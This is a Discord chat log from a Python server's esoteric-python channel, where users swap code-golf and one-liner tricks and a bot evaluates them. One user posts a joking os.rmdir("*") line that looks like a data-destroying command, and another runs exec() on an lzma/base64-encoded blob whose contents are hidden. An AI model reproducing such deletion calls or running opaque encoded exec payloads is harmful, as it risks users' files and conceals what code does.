#esoteric-python

1 messages · Page 149 of 1

humble rune
#

i finally kinda sorta understand list comprehension

#

!e

[print(i)for i in range(1804,2401)if 1>i%4and 0<i%100or i%400<1]
night quarryBOT
#

@humble rune :white_check_mark: Your eval job has completed with return code 0.

001 | 1804
002 | 1808
003 | 1812
004 | 1816
005 | 1820
006 | 1824
007 | 1828
008 | 1832
009 | 1836
010 | 1840
011 | 1844
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/ixuruzixog.txt?noredirect

humble rune
#

pog

humble rune
#

*pushes a commit from the year 0*

upbeat sonnet
#

oh.

upbeat sonnet
#

also, if you dont understand that, you should explore shorthand ternary py and, or

#

!e py print([12%2==0 and 'fortnite' or 'cronge' for i in range(69)[::-1]])

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

['fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite']
upbeat sonnet
#

🙏

#

!e py print([*range(69)[::-1]])

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

[68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
upbeat sonnet
#

!e py print([i%2==0 and 'fortnite' or 'cronge' for i in range(69)[::-1]])

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

['fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite']
split salmon
#

!e print(round((type|type.class)(type).or(type(7),type(69)).sub(21,90).mul(-1000).divmod(3)[0]3+1/54.76190476190476(type|type.class)(type).or(type(7),type(69)).sub(21,90).mul(-1000).divmod(3)[0]))

night quarryBOT
#

@split salmon :white_check_mark: Your eval job has completed with return code 0.

69420
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

wheat river
#
print(round((type|type.__class__)(type).__or__(type(7),type(69)).__sub__(21,90).__mul__(-1000).__divmod__(3)[0]*3+1/54.76190476190476*(type|type.__class__)(type).__or__(type(7),type(69)).__sub__(21,90).__mul__(-1000).__divmod__(3)[0]))
#

👀 👀

finite blaze
#

Are there any brainfuck golfers ;p?

#

or maybe you know place where i can find them?

earnest wing
#

What are you trying to shorten?

finite blaze
#

so we have a small task to write shortest code generating this text: "Technik informatyk"

#

i came up with this:

+[+[<++>--->>+>-<<<]>--]<<.<<-----.--.+++++.>.<+.<-.<.>>.>.<---.>+.+++.<<++.>-----.>++.+++++.<<--.
#

which is 98 bytes

earnest wing
#

Hmm

#

I'm not sure I can help myself

#

but I know there's some brainfuck experts in the Esolangs discord server

finite blaze
#

could you send me invite?

earnest wing
#

Sure

floral meteor
# humble rune \*pushes a commit from the year 0\*

You're thinking too small, push a commit from when the dinosaurs still roamed the earth. But do this when writing in either python 2 or java, just so as to make it a statement on the age/redundancy of the code as opposed to a mere digital prank.

humble rune
#

sadly for some reason every xor python program online is made for version 2

#

so me and the code golfer boys made one

#
xor=lambda a,b:"".join(chr(ord(c)^ord(d))for c,d in zip(a,b))
#

i think this is pretty good

earnest wing
#

if you only want ascii strings you can shorten that a lot

royal whale
frozen hazel
#

interesting

terse oriole
#

Don't really know if this should be asked in help channels, but any idea how I would run a coroutine as a parameter to a coroutine in a lambda function?
I got this so far

lambda: (await coroutine_here(await coroutine_as_parameter(10))for _ in "_").__anext__()
#

unfortunately everything I tried to do with the coroutine_as_parameter wont work

proper vault
#

hmm, I am not sure this is possible, python doesnt compose functions like this all that often. You could make a helper function like

async def coro_with_args(coro, *args):
    return await coro(*(await asyncio.gather(*args)))
``` and use that, or probably take advantage of the old style coroutines which use `yield from` and a decorator
terse oriole
#

I'll try looking into yield from

night quarryBOT
#
Missing required argument

code

wheat river
#

!e

async def foo():
    return 5

async def bar(coro):
    print(coro)

bl = lambda: (await bar(await foo())for _ in '_').__anext__()
for _ in bl(): ...
night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

5
terse oriole
#

Huh

cloud fossil
#

Lambdas can use await?

earnest wing
#

await x is just an expression so yes

#

you see (await thing).foo() a lot in real code

wheat river
#

!e

async def foo():
    return 5

async def bar(coro):
    print(f'{coro = }')
    return coro

l = lambda: (await bar(await foo()) for _ in '_').__anext__()
print(*l())

why doesn't l get the return value of bar?

night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

coro = 5
plucky plover
wheat river
#

ya but how do i get 5 from l?

#

shouldn't l have that value in it?

plucky plover
#

calling l gives you an async generator

#

splatting it with * gives you its value

wheat river
#

thats what i did

#

it didnt print 5

cloud fossil
#

I thought the syntax allows it to be only in functions declared async

wheat river
plucky plover
#

ohh right. hmm

#

!e

async def foo():
    return 5

async def bar(coro):
    print(f'{coro = }')
    return coro

l = lambda: (await bar(await foo()) for _ in '_').__anext__()
try: next(l())
except StopIteration as e: print(e)
night quarryBOT
#

@plucky plover :white_check_mark: Your eval job has completed with return code 0.

001 | coro = 5
002 | 5
wheat river
#

!e

async def foo():
    return 5

async def bar(coro):
    print(f'{coro = }')
    return coro

l = lambda: (await bar(await foo()) for _ in '_').__anext__()
next(l())
night quarryBOT
#

@wheat river :x: Your eval job has completed with return code 1.

001 | coro = 5
002 | Traceback (most recent call last):
003 |   File "<string>", line 9, in <module>
004 | StopIteration: 5
wheat river
#

ah it says it right there

#

lmao, nice thanks @plucky plover

plucky plover
#

because of the return

#

yield won't work

wheat river
#

ah ic

split salmon
#
((99<100)<<69>>(69>99))>>69==True # this returns true, use this in obfuscation```
#

!e py print(((99<100)<<69>>(69>99))>>69==True)

night quarryBOT
#

@split salmon :white_check_mark: Your eval job has completed with return code 0.

True
quartz wave
split salmon
#

!e py print(((99<100)<<69>>(69>99))>>69==420!=[69,420,++-99--4++6])

#

!e py print(((99<100)<<69>>(69>99))>>69==420!=[69,420,++-99--4++6])

night quarryBOT
#

@split salmon :white_check_mark: Your eval job has completed with return code 0.

False
split salmon
#

!e py print((((99<100)<<69>>(69>99))>>69==420)!=[69,420,++-99--4++6])

night quarryBOT
#

@split salmon :white_check_mark: Your eval job has completed with return code 0.

True
split salmon
#

there

small solstice
#

os.rmdir("*")

bronze merlin
#
from tkinter import *;((window:=Tk()),(a:= (lambda: (print("yes")if x.get()else print("no"))),x:=BooleanVar()),((switch:=Checkbutton(window,text="hello",font=("Aerial", 50),bg="white",fg="black",variable=x,activebackground="black",activeforeground="white",onvalue=True,offvalue=False,command=a,padx=25,pady=25)).pack())),window.mainloop()
bronze merlin
verbal talon
#

!e

__import__('sys').stdout.write("Hello, world!\n")
night quarryBOT
#

@verbal talon :white_check_mark: Your eval job has completed with return code 0.

Hello, world!
shell brook
#

__import__("lib name")

bronze merlin
#

thank you

#

that helps a lot

shell brook
#

!e

__import__("__hello__")
night quarryBOT
#

@shell brook :white_check_mark: Your eval job has completed with return code 0.

Hello world!
bronze merlin
#

!e

__import__('random'),print(random.randint(0,6))
night quarryBOT
#

@bronze merlin :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | NameError: name 'random' is not defined
bronze merlin
#

sweet

verbal talon
#

__import__ returns the module

shell brook
#

It would be print(__import__("random").randint(. . .))

bronze merlin
#

import returns the module

#

so

#

if i want to import all function in the module

#

how

#

like

#
from sys import *
verbal talon
#

not sure there is a builtin for that but you could add everything into globals

shell brook
#

Dont think you can, but why would you want to?

verbal talon
shell brook
#

That would be a function to return all methods of a module at once?

bronze merlin
shell brook
#

Idk if method is the right word here 🤷

shell brook
bronze merlin
shell brook
#

Not strictly needed, you just use a dunder import whenever you need

bronze merlin
#

huh

verbal talon
#

!e

for k, v in __import__('sys').__dict__.items():
    globals()[k] = v
stdout.write("Hello, world!\n")
night quarryBOT
#

@verbal talon :white_check_mark: Your eval job has completed with return code 0.

Hello, world!
shell brook
#
print(__import__("random").randint(1, 2), __import__("random").randint(1, 2))
verbal talon
#

@bronze merlin I think this works ^ I leave converting it to a one-liner as an exercise to the reader 🙂

bronze merlin
#

aight

#
((globals()[k] := v) for k, v in __import__('sys').__dict__.items())
#

that's it?

#

might use walrus

verbal talon
#

I don't think that will work directly for a couple reasons

#

You can't use walrus because LHS is a subscript

bronze merlin
#

darnit

verbal talon
#

!e

any((globals()[k] := v) for k, v in __import__('sys').__dict__.items())
night quarryBOT
#

@verbal talon :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     any((globals()[k] := v) for k, v in __import__('sys').__dict__.items())
003 |          ^^^^^^^^^^^^
004 | SyntaxError: cannot use assignment expressions with subscript
verbal talon
#

But don't worry, you can use __setitem__ instead

bronze merlin
#

so many __ here

verbal talon
#

!e

any((globals().__setitem__(k, v)) for k, v in __import__('sys').__dict__.items())
stdout.write("Hello, world!\n")
bronze merlin
#

a

night quarryBOT
#

@verbal talon :white_check_mark: Your eval job has completed with return code 0.

Hello, world!
bronze merlin
#

what do you call

#
__var__
#

something like this

verbal talon
#

Oh, dunder*

bronze merlin
#

dunder

verbal talon
#

"Double underscore"

bronze merlin
#

with object init

verbal talon
#

Yeah __init__ is called a dunder method around here I think

bronze merlin
#

uhh

#

init for me is in it

#

not __init__

bronze merlin
#

so it's dunder method

#

got it, thank you

verbal talon
#

no worries, someone here taught me about the globals() and __setitem__ thing and now you can tell someone else

bronze merlin
#

ohh

#

and for any()

#

what's that

#

!d any

night quarryBOT
#
any

any(iterable)```
Return `True` if any element of the *iterable* is true. If the iterable is empty, return `False`. Equivalent to:

```py
def any(iterable):
    for element in iterable:
        if element:
            return True
    return False
bronze merlin
#

do you use this for just bypassing syntax?

#

apvx

verbal talon
#

!e

__import__('functools').reduce(lambda _, __: None, (print(i) for i in range(5)))
night quarryBOT
#

@verbal talon :white_check_mark: Your eval job has completed with return code 0.

001 | 0
002 | 1
003 | 2
004 | 3
005 | 4
verbal talon
plucky plover
#

!e

globals().update(__import__("random").__dict__);print(random())
night quarryBOT
#

@plucky plover :white_check_mark: Your eval job has completed with return code 0.

0.4837553737254707
quartz wave
night quarryBOT
#

@quartz wave :white_check_mark: Your eval job has completed with return code 0.

Hello, world!
verbal talon
bronze merlin
#

a

quartz wave
#

!e also works with keyword arguments ```py
globals().update(a=5, b=3)
print(a, b)

night quarryBOT
#

@quartz wave :white_check_mark: Your eval job has completed with return code 0.

5 3
bronze merlin
#

JEEEEEEEEEEEEEZ

#

i mean i prefer

#
(any((globals().__setitem__(k, v)) for k, v in __import__('sys').__dict__.items())),stdout.write("hello worl\n")
plucky plover
#

I mean, if you were gonna golf, the .update way is better

bronze merlin
#

well this is esoteric

verbal talon
#

My preferred way to learn about the Python standard library is to just post my best guesses here and wait for @quartz wave to correct them

bronze merlin
#

yes

#

wait for this channel leader

#

it's him

verbal talon
#

Is tupling the preferred way of doing sequencing in one-liner expressions?

#

It's what I've done too but I find it annoying because it returns (a, b) instead of None

#

So sometimes I've defined a function like lambda x: None to ignore the return value

#

Or lambda x, y: y to evaluate x and then return y

plucky plover
#

!e

a = lambda: (print("Hi"); 42)
a()
night quarryBOT
#

@plucky plover :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     a = lambda: (print("Hi"); 42)
003 |                             ^
004 | SyntaxError: invalid syntax
plucky plover
#

hmm

verbal talon
#

!e

(lambda seq: lambda: seq(print("Hi"), 42))(lambda x, y: y)()
night quarryBOT
#

@verbal talon :white_check_mark: Your eval job has completed with return code 0.

Hi
verbal talon
#

My oneliner one-trick is to just turn every let into a lambda

#

idk how to do anything else

#

!e Oops meant to print the result too

print((lambda seq: lambda: seq(print("Hi"), 42))(lambda x, y: y)())
night quarryBOT
#

@verbal talon :white_check_mark: Your eval job has completed with return code 0.

001 | Hi
002 | 42
cloud fossil
#

Wait

verbal talon
cloud fossil
#

!e

print(None, 42)
night quarryBOT
#

@cloud fossil :white_check_mark: Your eval job has completed with return code 0.

None 42
cloud fossil
#

Oh you only returned y there

verbal talon
#

Is there anything built into Python that behaves like lambda x, y: y?

cloud fossil
#

(x, y)[1]

verbal talon
#

Yeah that makes sense, I've done that in some one-liners too but it feels hacky haha

quartz wave
#

x and y or x or y

plucky plover
#

not sure, maybe something in functools or itertools

cloud fossil
quartz wave
#

ik

verbal talon
#

Yeah that's what's kind of fun about boolean sequencing things like any though -- you can use them for early termination/return

#

I mean it's not really general but also the return values can be useful

#

Same with and/or by same token

bronze merlin
#

neeed help with while something loop

#
(checkfunc=(lambda: while x: stuff))
#

this does not work for 1 line code ofc

#

what can i use

#

alternatively

restive void
bronze merlin
#

this is just testing

#

i'll change it when i need to publish it

fleet bridge
#

!e you can do this

print((lambda x, y: y)(print("Hi"), 42))
night quarryBOT
#

@fleet bridge :white_check_mark: Your eval job has completed with return code 0.

001 | Hi
002 | 42
bronze merlin
#

is making class possible for 1 liner

fleet bridge
#

use type

#

!e

print(type('typename', (), {}))
print(type('typename', (), {'__str__': lambda self: 'bar'})())
night quarryBOT
#

@fleet bridge :white_check_mark: Your eval job has completed with return code 0.

001 | <class '__main__.typename'>
002 | bar
fleet bridge
#

!d type

night quarryBOT
#

class type(object)``````py

class type(name, bases, dict, **kwds)```
With one argument, return the type of an *object*. The return value is a type object and generally the same object as returned by [`object.__class__`](https://docs.python.org/3/library/stdtypes.html#instance.__class__ "instance.__class__").

The [`isinstance()`](https://docs.python.org/3/library/functions.html#isinstance "isinstance") built-in function is recommended for testing the type of an object, because it takes subclasses into account.
bronze merlin
#

wat

fleet bridge
#

!d types.new_class

night quarryBOT
#

types.new_class(name, bases=(), kwds=None, exec_body=None)```
Creates a class object dynamically using the appropriate metaclass.

The first three arguments are the components that make up a class
definition header: the class name, the base classes (in order), the
keyword arguments (such as `metaclass`)...
restive void
wheat river
#

u can pass keywords like metaclass

earnest wing
#

it mimics class statements more accurately

#

you don't have to evaluate the namespace elements until the callback is called

#

also yes metaclasses

fleet bridge
#

and it implements __mro_entries__ behavior

restive void
#

With a metaclass you can just call that instead of type, but yeah, other keyword arguments..

tired umbra
#

esoteric side of python looks really cool

#

how do I get started?

floral meteor
#

throw pep8 out the window.
readability is sacrificed in the name of art here.

#

rather brutally, actually, kinda like a blood sacrifice, but maybe scarier.
Depends whether you want donut shaped code or 32 characters that inputs 4 integers and determines what combination of adding or multiplying the numbers gets the largest result.

quartz wave
grave rover
# bronze merlin ```py (checkfunc=(lambda: while x: stuff)) ```

An example: ```py

use recursion, useful when doing it manually

def nums(x):
while x > 0:
print(x)
x = x - 1

nums = lambda x: (x > 0) or (print(x) or nums(x-1))

alternatively, more generalized and easier for code generation:

nums__locals={'x': 0} # can be done with a list too, but this makes it slightly more readable
nums__while = lambda: (nums__locals['x'] > 0) or (print(x), nums__locals.setitem('x', nums__locals['x']-1), nums__while())
nums = lambda x: (nums__locals.setitem('x', x), nums__while())

quartz wave
grave rover
wheat river
#

iter(int, 1)

humble rune
#

i like how my name is both omori and python golfing lmao

wheat river
#

!e

print(print('hi')or 42)
night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

001 | hi
002 | 42
pastel sparrow
#
print('hi',42,sep='\n')

works too?

unreal echo
wheat river
#
while 1:print('@',end=' ');__import__('time').sleep(0.1)

this is according to the output im getting in the pycharm terminal
tried running in cmd and powershell. No output

dense flower
#

@wheat river You need to flush print('@', end=' ', flush=True)

humble rune
#

hey for the if main thing

#

does if __name__!="__main__":exit() do the same thing

humble rune
# unreal echo can anyone condense this https://paste.pythondiscord.com/inejebuhoz.py
from blessed import Terminal as T
from colorsys import hsv_to_rgb as H
from time import sleep
from random import randrange as Z
def printn(*args,**kwargs):exec("kwargs['end']='';print(*args, **kwargs)")
if __name__=="__main__":
    a=T()
    printn(a.clear+a.home)
    b,c,d,e,f,g,h=0,a.width,a.height,Z(c),Z(d),1,1
    with a.hidden_cursor():
        while 1:
            exec("printn(a.move_xy(e,f)+' ');e,f=e+g,f+h")
            if e<0:e,g=1,1
            elif e>=c:e,g=c-2,-1
            if f<0:f,h=1,1
            elif f>=d:f,h=d-2,-1
            exec("printn(a.move_xy(e,f));i,j,k=H(b/255,1,1);color=a.color_rgb(int(i*255),int(j*255),int(k*255));printn(a.bold(color('@')));b=(b+7)&0xff;sleep(0.1)")
#

discord made the exec at the end look weird

unreal echo
#

nice

night quarryBOT
restive void
verbal talon
unreal echo
verbal talon
#

and by "actually did it" I mean "actually asked someone else to do it" lel

unreal echo
#

i just did the reposting

verbal talon
#

exactly, you kept you word

#

I mean there's always

exec(__import__('lzma').decompress(__import__('base64').b64decode("/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AUDAfZdADMciiJvqlHaa/aZGZQY1DjXDhOrSpIhWfk77BoIt7lurZN6HYyUYuXZzgkJ+8lgiFXPwpuM6f200PKBFjboHps9agUjG7YGT1cZzt8RMdAl03jbAOs8JzIBAMfnNy7cCz1ej1vnA1Z3KQSwPltHmlI7U3YWeikuwnHApW4NZ7ai3TzlRmRPuCx/rpVbxs0GW44W0CPdLkpnr0JmIA40KIblHYjuJeEMU51Gf6Avoj4bp6+yee9yMIisptSmz/DgOa7vVXuHGRIyArAEaHn9ngET18qnv+/IVP7TL7k9n4uQmdoSzkpgQU56ZA/LZRiU4NduSd1qMY9LUg+YD1g+DrYoC18FFjFuRjxXGd5UQKRVf55dRZmGhzPu0sQgzxi1wrEUHYO7L5cWTaS0HTECow7jvvlXyhK2EmdxHwVZfdJyynjdxzZMug2XUnhPpL/vq6RuPDFuwLpB8zob2PB3j8UNiZu04DUqWcZLvRNN+NrQFalXyxZiOsPmTLdNAd/qG24KkJX9rbODX9ZYcb7yVZKpKjAj/KAWyC6WV4ELKFH+pBy2c7I9gyXr8giK9mL0xKecKGpkJx7846nYS2HZLFrdv/N8OwxlenmIGVyx1EFA/t/ugv11KpkFR65FNDwNcQpakYLFBuVQFamc0C7xFkyibceGSpIAAACWbZblgGvEfAABkgSECgAA72HXCbHEZ/sCAAAAAARZWg==")))
upbeat sonnet
#

how to split a string when the character changes. eg: ```py
"aaaqqqccee"

["aaa", "qqq", "cc", "ee"]```

frozen hazel
upbeat sonnet
frozen hazel
upbeat sonnet
#

dang

frozen hazel
#

I really want to be tho

upbeat sonnet
#

maybe i can

#

like

frozen hazel
#

you can use itertools.groupby

#

and maybe do it in one line

upbeat sonnet
#

!e py def char_group(): [i == "aaaqqqccee"[n + 1] and i for n, i in enumerate("aaaqqqccee")] print(char_group())

night quarryBOT
#

@upbeat sonnet :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 |   File "<string>", line 1, in char_group
004 |   File "<string>", line 1, in <listcomp>
005 | IndexError: string index out of range
upbeat sonnet
#

oh dear.

#

!e py def char_group(): [i == "aaaqqqccee"[n] and i for n, i in enumerate("aaaqqqccee")] print(char_group())

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

None
upbeat sonnet
#

!e py def char_group(): return [i == "aaaqqqccee"[n + 1] and i for n, i in enumerate("aaaqqqccee")] print(char_group())

night quarryBOT
#

@upbeat sonnet :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 |   File "<string>", line 1, in char_group
004 |   File "<string>", line 1, in <listcomp>
005 | IndexError: string index out of range
upbeat sonnet
#

buh

#

!e py def char_group(): return [i == "aaaqqqccee"[n] and i for n, i in enumerate("aaaqqqccee")] print(char_group())

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

['a', 'a', 'a', 'q', 'q', 'q', 'c', 'c', 'e', 'e']
upbeat sonnet
#

oh dear.

frozen hazel
#

!e
from itertools import groupby

print(', '.join(''.join(group) for key, group in groupby("aaaqqqccc")))

night quarryBOT
#

@frozen hazel :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 3
002 |      print(', '.join(''.join(group) for key, group in groupby("aaaqqqccc")))
003 |     ^
004 | SyntaxError: invalid non-printable character U+00A0
frozen hazel
#

kek

#

!e
from itertools import groupby

print(', '.join(''.join(group) for key,group in groupby("aaaqqqccc")))

night quarryBOT
#

@frozen hazel :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 3
002 |      print(', '.join(''.join(group) for key,group in groupby("aaaqqqccc")))
003 |     ^
004 | SyntaxError: invalid non-printable character U+00A0
frozen hazel
#

bro what

upbeat sonnet
#

!e py def char_group(): return [i == "aaaqqqccee"[n] and i or [i] for n, i in enumerate("aaaqqqccee")] print(char_group())

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

['a', 'a', 'a', 'q', 'q', 'q', 'c', 'c', 'e', 'e']
upbeat sonnet
#

huh?

frozen hazel
#

!e
from itertools import groupby
print(','.join(group) for key, group in groupby("aaaaqqqqcccc")))

night quarryBOT
#

@frozen hazel :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 2
002 |     print(','.join(group) for key, group in groupby("aaaaqqqqcccc")))
003 |                                                                     ^
004 | SyntaxError: unmatched ')'
frozen hazel
#

coding on phone sucks

#

!e
from itertools import groupby
print(','.join(.join(group) for key, group in groupby("aaaaqqqqcccc")))

night quarryBOT
#

@frozen hazel :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 2
002 |     print(','.join(.join(group) for key, group in groupby("aaaaqqqqcccc")))
003 |                    ^
004 | SyntaxError: invalid syntax
frozen hazel
#

-_-

upbeat sonnet
#

!e py from itertools import groupby print(','.join(group) for key, group in groupby("aaaaqqqqcccc"))

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

<generator object <genexpr> at 0x7fdb6e58bc30>
upbeat sonnet
#

but i joined-

#

huh-

frozen hazel
#

!e
from itertools import groupby
text = "aaaqqqccc"
print(','.join(.join(group) for key, group in groupby(text)))

night quarryBOT
#

@frozen hazel :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 3
002 |     print(','.join(.join(group) for key, group in groupby(text)))
003 |                    ^
004 | SyntaxError: invalid syntax
frozen hazel
#

ok

#

oh bruh

upbeat sonnet
#

!e py from itertools import groupby print(''.join(','.join(group) for key, group in groupby("aaaaqqqqcccc")))

night quarryBOT
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

a,a,a,aq,q,q,qc,c,c,c
frozen hazel
#

!e
from itertools import groupby
print(','.join(''.join(group) for key, group in groupby("aaaaqqqqcccc")))

night quarryBOT
#

@frozen hazel :white_check_mark: Your eval job has completed with return code 0.

aaaa,qqqq,cccc
frozen hazel
#

^^^

upbeat sonnet
#

oh dear

frozen hazel
#

I srsly hate coding on mobile

upbeat sonnet
#

close enough to a one liner ig

frozen hazel
#

or you can do this:

upbeat sonnet
#

if someone can do it without the lib they can be help

frozen hazel
#

!e
print(''.join(x + ('' if x == nxt else ', ') for x, nxt in zip("aaaqqqccc", "aaaqqqccc"[1:] + "aaaqqqccc"[-1]))))

night quarryBOT
#

@frozen hazel :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     print(''.join(x + ('' if x == nxt else ', ') for x, nxt in zip("aaaqqqccc", "aaaqqqccc"[1:] + "aaaqqqccc"[-1]))))
003 |                                                                                                                     ^
004 | SyntaxError: unmatched ')'
frozen hazel
#

!e
print(''.join(x + ('' if x == next else ', ') for x, next in zip("aaaqqqccc", "aaaqqqccc"[1:] + "aaaqqqccc"[-1])))

night quarryBOT
#

@frozen hazel :white_check_mark: Your eval job has completed with return code 0.

aaa, qqq, ccc
frozen hazel
#

@upbeat sonnet ^^^

#

one liner ez

#

!e
print(''.join(x + ('' if x == next else ', ') for x, next in zip("abcd///+", "abcd///+"[1:] + "abcd///+"[-1])))

night quarryBOT
#

@frozen hazel :white_check_mark: Your eval job has completed with return code 0.

a, b, c, d, ///, +
frozen hazel
#

hm

#

@upbeat sonnet we got same discriminators lmao (#4269)

verbal talon
#

@unreal echo You really nerd sniped me dude

(i:=__import__,rr:=i('random').randrange,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0 else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/255,1,1)),p(t.bold(t.color_rgb(int(R[0]*255),int(R[1]*255),int(R[2]*255))("@"))),(H:=(H+7)&0xff),i('time').sleep(0.01)))for _ in i('itertools').count(0))
frozen hazel
#

!e
(i:=import,rr:=i('random').randrange,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0 else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/255,1,1)),p(t.bold(t.color_rgb(int(R[0]*255),int(R[1]*255),int(R[2]*255))("@"))),(H:=(H+7)&0xff),i('time').sleep(0.01)))for _ in i('itertools').count(0))

night quarryBOT
#

@frozen hazel :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | ModuleNotFoundError: No module named 'blessed'
verbal talon
#

Yeah unfortunately no blessed in snekbox... maybe some day! would be cool to get some animated embeds

unreal echo
#

that's, character soup

#

not code

#

😬

verbal talon
#

You don't like soup?

frozen hazel
#

is there any readable version of that?

#

nvm, I'm blind

rugged sparrow
verbal talon
rugged sparrow
#

You can make an in-line for loop infinite by extending the list you are iterating over or you can use setstate to set the index back to zero on every iteration

verbal talon
#

Yeah for my infinite loop above I iterated over __import__('itertools').count(0), not sure if there is a shorter way to get an infinite sequence

rugged sparrow
#

The trick for inline while loops is being able to end them early

verbal talon
#

Apparently so -- in my case I truly wanted it to be infinite.

rugged sparrow
#

When I'm at a computer I can send an example of using setstate (which avoids the list expanding infinitely)

verbal talon
#

Yeah I'd like to see that

#

ty

#

!e

any(print("Hello, world!") for _ in iter(lambda:0,1))
night quarryBOT
#

@verbal talon :x: Your eval job has completed with return code 143 (SIGTERM).

001 | Hello, world!
002 | Hello, world!
003 | Hello, world!
004 | Hello, world!
005 | Hello, world!
006 | Hello, world!
007 | Hello, world!
008 | Hello, world!
009 | Hello, world!
010 | Hello, world!
011 | Hello, world!
... (truncated - too many lines)

Full output: too long to upload

verbal talon
#

^ hmm looks like iter is a concise way of doing this too

rugged sparrow
#
[s:=(i:=iter([()])).__setstate__,x:=0]+[[print(x),x:=x+1,s(0)]for()in i if x < 10]
#

iter(int,1) is an easy infinite iterator but it's hard to end

verbal talon
#

Oh nice

wheat river
night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

['aaa', 'qqq', 'cc', 'ee']
wheat river
#
print([i[0]for i in __import__('re').findall(r'((.)\2+)',string)])

this is smaller

rugged sparrow
verbal talon
#

Is this basically capturing the initial state of the iterator and using it over and over again in the loop?

rugged sparrow
#

It's part of the pickle protocol

#

!d pickle

night quarryBOT
frozen hazel
frozen hazel
#

I totally forgot about regex 🗿

rugged sparrow
verbal talon
#

!e

it = iter([1,2,3])
for i in it:
    print(i)
    it.__setstate__(0)
night quarryBOT
#

@verbal talon :x: Your eval job has completed with return code 143 (SIGTERM).

001 | 1
002 | 1
003 | 1
004 | 1
005 | 1
006 | 1
007 | 1
008 | 1
009 | 1
010 | 1
011 | 1
... (truncated - too many lines)

Full output: too long to upload

verbal talon
rugged sparrow
#

Yea

#

But that's implementation specific

verbal talon
#

!e

it = iter(range(40, 50))
